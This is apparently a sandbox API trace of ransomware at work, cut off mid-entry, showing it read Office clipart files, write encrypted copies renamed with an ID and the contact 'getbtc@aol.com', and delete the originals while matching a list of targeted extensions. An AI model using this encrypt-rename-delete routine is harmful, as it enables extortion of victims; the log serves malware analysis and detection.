lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.556] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.556] lstrlenW (lpString="J0099169.WMF") returned 12 [0254.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.556] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=10192) returned 1 [0254.556] CloseHandle (hObject=0x200) returned 1 [0254.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 0x20 [0254.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.557] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.557] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.557] GetLastError () returned 0x0 [0254.557] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x27d0, lpOverlapped=0x0) returned 1 [0254.582] WriteFile (in: hFile=0x3cc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x27e0, lpOverlapped=0x0) returned 1 [0254.583] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.583] WriteFile (in: hFile=0x3cc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.583] SetEndOfFile (hFile=0x3cc) returned 1 [0254.583] CloseHandle (hObject=0x3cc) returned 1 [0254.583] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.583] SetEndOfFile (hFile=0x200) returned 1 [0254.585] CloseHandle (hObject=0x200) returned 1 [0254.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0254.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0254.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0254.586] lstrlenW (lpString=".doc") returned 4 [0254.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.586] lstrlenW (lpString=".docx") returned 5 [0254.586] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0254.586] lstrlenW (lpString=".pdf") returned 4 [0254.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.586] lstrlenW (lpString=".xls") returned 4 [0254.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.586] lstrlenW (lpString=".xlsx") returned 5 [0254.586] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0254.586] lstrlenW (lpString=".ppt") returned 4 [0254.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0254.586] lstrlenW (lpString=".zip") returned 4 [0254.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.586] lstrlenW (lpString=".rar") returned 4 [0254.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.586] lstrlenW (lpString=".bz2") returned 4 [0254.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.586] lstrlenW (lpString=".7z") returned 3 [0254.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0254.586] lstrlenW (lpString=".dbf") returned 4 [0254.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0254.587] lstrlenW (lpString=".1cd") returned 4 [0254.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0254.587] lstrlenW (lpString=".jpg") returned 4 [0254.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0254.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0254.587] lstrlenW (lpString=".doc") returned 4 [0254.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.587] lstrlenW (lpString=".docx") returned 5 [0254.587] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0254.587] lstrlenW (lpString=".pdf") returned 4 [0254.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.587] lstrlenW (lpString=".xls") returned 4 [0254.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.587] lstrlenW (lpString=".xlsx") returned 5 [0254.587] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0254.587] lstrlenW (lpString=".ppt") returned 4 [0254.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0254.587] lstrlenW (lpString=".zip") returned 4 [0254.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.587] lstrlenW (lpString=".rar") returned 4 [0254.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.587] lstrlenW (lpString=".bz2") returned 4 [0254.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.587] lstrlenW (lpString=".7z") returned 3 [0254.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0254.587] lstrlenW (lpString=".dbf") returned 4 [0254.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0254.587] lstrlenW (lpString=".1cd") returned 4 [0254.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0254.588] lstrlenW (lpString=".jpg") returned 4 [0254.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.588] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.588] lstrlenW (lpString="J0099170.WMF") returned 12 [0254.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.591] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=24292) returned 1 [0254.591] CloseHandle (hObject=0x200) returned 1 [0254.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 0x20 [0254.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.592] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.592] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.592] GetLastError () returned 0x0 [0254.592] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x5ee4, lpOverlapped=0x0) returned 1 [0254.738] WriteFile (in: hFile=0x3cc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x5ef0, lpOverlapped=0x0) returned 1 [0254.739] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.739] WriteFile (in: hFile=0x3cc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.739] SetEndOfFile (hFile=0x3cc) returned 1 [0254.739] CloseHandle (hObject=0x3cc) returned 1 [0254.739] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.739] SetEndOfFile (hFile=0x200) returned 1 [0254.741] CloseHandle (hObject=0x200) returned 1 [0254.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0254.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0254.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0254.774] lstrlenW (lpString=".doc") returned 4 [0254.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.774] lstrlenW (lpString=".docx") returned 5 [0254.774] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0254.774] lstrlenW (lpString=".pdf") returned 4 [0254.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.774] lstrlenW (lpString=".xls") returned 4 [0254.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.774] lstrlenW (lpString=".xlsx") returned 5 [0254.774] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0254.774] lstrlenW (lpString=".ppt") returned 4 [0254.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0254.774] lstrlenW (lpString=".zip") returned 4 [0254.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.774] lstrlenW (lpString=".rar") returned 4 [0254.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.774] lstrlenW (lpString=".bz2") returned 4 [0254.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.774] lstrlenW (lpString=".7z") returned 3 [0254.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0254.774] lstrlenW (lpString=".dbf") returned 4 [0254.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0254.774] lstrlenW (lpString=".1cd") returned 4 [0254.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0254.774] lstrlenW (lpString=".jpg") returned 4 [0254.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0254.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0254.775] lstrlenW (lpString=".doc") returned 4 [0254.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.775] lstrlenW (lpString=".docx") returned 5 [0254.775] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0254.775] lstrlenW (lpString=".pdf") returned 4 [0254.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.775] lstrlenW (lpString=".xls") returned 4 [0254.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.775] lstrlenW (lpString=".xlsx") returned 5 [0254.775] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0254.775] lstrlenW (lpString=".ppt") returned 4 [0254.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0254.775] lstrlenW (lpString=".zip") returned 4 [0254.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.775] lstrlenW (lpString=".rar") returned 4 [0254.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.775] lstrlenW (lpString=".bz2") returned 4 [0254.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.775] lstrlenW (lpString=".7z") returned 3 [0254.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0254.775] lstrlenW (lpString=".dbf") returned 4 [0254.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0254.775] lstrlenW (lpString=".1cd") returned 4 [0254.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0254.775] lstrlenW (lpString=".jpg") returned 4 [0254.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.775] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.776] lstrlenW (lpString="J0099175.WMF") returned 12 [0254.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0254.843] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=9744) returned 1 [0254.843] CloseHandle (hObject=0x3e0) returned 1 [0254.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) returned 0x20 [0254.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0254.894] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.894] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0254.894] GetLastError () returned 0x0 [0254.894] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x2610, lpOverlapped=0x0) returned 1 [0254.956] WriteFile (in: hFile=0x3f0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2620, lpOverlapped=0x0) returned 1 [0254.957] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.957] WriteFile (in: hFile=0x3f0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.957] SetEndOfFile (hFile=0x3f0) returned 1 [0254.957] CloseHandle (hObject=0x3f0) returned 1 [0254.957] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.957] SetEndOfFile (hFile=0x3e0) returned 1 [0254.961] CloseHandle (hObject=0x3e0) returned 1 [0254.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0255.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0255.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0255.030] lstrlenW (lpString=".doc") returned 4 [0255.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.030] lstrlenW (lpString=".docx") returned 5 [0255.030] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0255.030] lstrlenW (lpString=".pdf") returned 4 [0255.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.030] lstrlenW (lpString=".xls") returned 4 [0255.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.031] lstrlenW (lpString=".xlsx") returned 5 [0255.031] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0255.031] lstrlenW (lpString=".ppt") returned 4 [0255.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0255.031] lstrlenW (lpString=".zip") returned 4 [0255.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.031] lstrlenW (lpString=".rar") returned 4 [0255.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.031] lstrlenW (lpString=".bz2") returned 4 [0255.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.031] lstrlenW (lpString=".7z") returned 3 [0255.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0255.031] lstrlenW (lpString=".dbf") returned 4 [0255.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0255.031] lstrlenW (lpString=".1cd") returned 4 [0255.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0255.031] lstrlenW (lpString=".jpg") returned 4 [0255.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0255.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0255.031] lstrlenW (lpString=".doc") returned 4 [0255.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.031] lstrlenW (lpString=".docx") returned 5 [0255.031] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0255.031] lstrlenW (lpString=".pdf") returned 4 [0255.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.031] lstrlenW (lpString=".xls") returned 4 [0255.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.031] lstrlenW (lpString=".xlsx") returned 5 [0255.031] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0255.031] lstrlenW (lpString=".ppt") returned 4 [0255.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0255.032] lstrlenW (lpString=".zip") returned 4 [0255.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.032] lstrlenW (lpString=".rar") returned 4 [0255.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.032] lstrlenW (lpString=".bz2") returned 4 [0255.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.032] lstrlenW (lpString=".7z") returned 3 [0255.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0255.032] lstrlenW (lpString=".dbf") returned 4 [0255.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0255.032] lstrlenW (lpString=".1cd") returned 4 [0255.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0255.032] lstrlenW (lpString=".jpg") returned 4 [0255.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.032] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.032] lstrlenW (lpString="J0099184.WMF") returned 12 [0255.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0255.089] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=4118) returned 1 [0255.089] CloseHandle (hObject=0x3f8) returned 1 [0255.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 